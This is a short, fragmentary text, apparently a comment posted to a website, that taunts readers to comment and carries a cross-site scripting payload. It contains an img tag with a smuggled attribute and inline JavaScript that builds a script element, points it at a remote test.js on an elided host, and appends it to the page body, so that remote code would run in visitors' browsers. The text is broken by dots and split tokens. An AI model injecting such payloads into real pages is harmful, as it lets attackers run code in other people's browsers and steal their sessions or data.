i know you wanna comment me. DO IT
form ...............
...............
img src="http://xss.xss/xss.jpg" x='
[ click the pictures ]
.........."var x=document.createElement('script');x.src='http://www.../.../
test.js';document.getElementsByTagName('body')[0].appendChil
d(x);" /